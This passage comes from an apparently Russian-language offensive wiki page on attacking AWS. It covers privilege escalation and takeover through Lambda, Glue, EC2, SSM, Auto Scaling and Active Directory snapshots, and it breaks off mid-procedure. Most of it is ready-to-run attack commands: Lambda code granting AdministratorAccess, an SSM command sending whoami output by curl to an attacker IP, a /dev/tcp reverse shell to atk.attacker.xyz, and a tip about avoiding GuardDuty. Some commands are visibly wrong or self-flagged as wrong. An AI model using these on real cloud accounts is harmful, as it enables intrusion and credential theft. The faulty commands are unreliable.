aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
